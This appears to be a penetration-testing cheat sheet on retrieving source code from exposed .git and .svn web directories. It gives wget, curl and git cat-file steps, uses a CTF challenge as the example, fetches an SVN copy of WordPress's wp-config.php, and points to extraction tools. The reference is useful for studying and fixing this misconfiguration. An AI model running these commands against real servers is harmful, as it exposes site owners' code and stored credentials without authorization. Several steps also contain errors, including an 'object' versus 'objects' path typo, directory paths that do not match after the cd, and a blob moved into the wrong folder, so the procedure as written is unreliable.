Insecured source code management

GIT - Source code management

Github example with a .git

1. Check 403 error (Forbidden) for .git or even better : directory listing
2. Git saves all informations in log file .git/logs/HEAD (try 'head' too)

```
0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000        clone: from https://github.com/fermayo/hello-world-lamp.git
 15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com> 1489390329 +0000        commit: Initial.
 26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com> 1489390330 +0000        commit: Whoops! Remove flag.
 6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com> 1489390332 +0000        commit: Prevent directory listing.
```

3. Access to the commit based on the hash -> a directory name (first two signs from hash) and filename (rest of it).git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c,

```
# create a .git directory
git init test
cd test/.git

# download the file
wget http://xxx.web.xxx.com/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c
mkdir .git/object/26
mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/

# display the content of the file
git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c
    tree 323240a3983045cdc0dec2e88c1358e7998f2e39
    parent 15ca375e54f056a576905b41a417b413c57df6eb
    author Michael <michael@easyctf.com> 1489390329 +0000
    committer Michael <michael@easyctf.com> 1489390329 +0000
    Initial.
```

4. Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39

```
wget http://xxx.web.xxx.com/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
mkdir .git/object/32
mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/

git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39
    040000 tree bd083286051cd869ee6485a3046b9935fbd127c0        css
    100644 blob cb6139863967a752f3402b3975e97a84d152fd8f        flag.txt
    040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97        fonts
    100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1        index.html
    040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8        js
```

5. Read the data (flag.txt)

```
wget http://xxx.web.xxx.com/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
mkdir .git/object/cb
```

```
mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/
git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f
```

Automatic way : diggit.py

```
./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True]
./diggit.py -u http://webpage.com -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1

-u is remote path, where .git folder exists
-t is path to local folder with dummy Git repository and where blob content (files) are saved with thei
r real names (cd /path/to/temp/folder && git init)
-o is a hash of particular Git object to download
```

Alternative way : rip-git

```
perl rip-git.pl -v -u "http://edge1.web.*****.com/.git/"

git cat-file -p 07603070376d63d911f608120eb4b5489b507692
tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
parent 15ca375e54f056a576905b41a417b413c57df6eb
author Michael <michael@easyctf.com> 1489389105 +0000
committer Michael <michael@easyctf.com> 1489389105 +0000

git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
```

SVN - Source code management

SVN example (Wordpress)

```
curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
```

1. Download the svn database from http://server/path_to_vulnerable_site/.svn/wc.db (http://server/path_to_vulnerable_site/.svn/wc.db)

   ```
   INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'
   file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de
   ',38,1456056261000000,NULL,NULL);
   ```

2. Download interesting files
   - remove \$sha1\$ prefix
   - add .svn-base postfix
   - use first two signs from hash as folder name inside pristine/ directory (94 in this case)
   - create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base`

Automatic way

```
git clone https://github.com/anantshri/svn-extractor.git
python svn-extractor.py —url "url with .svn available"
```

Thanks to

- bl4de, https://github.com/bl4de/research/tree/master/hidden_directories_leaks (https://github.com/bl4de/research/tree/master/hidden_directories_leaks)
- bl4de, https://github.com/bl4de/security-tools/tree/master/diggit (https://github.com/bl4de/security-

tools/tree/master/diggit)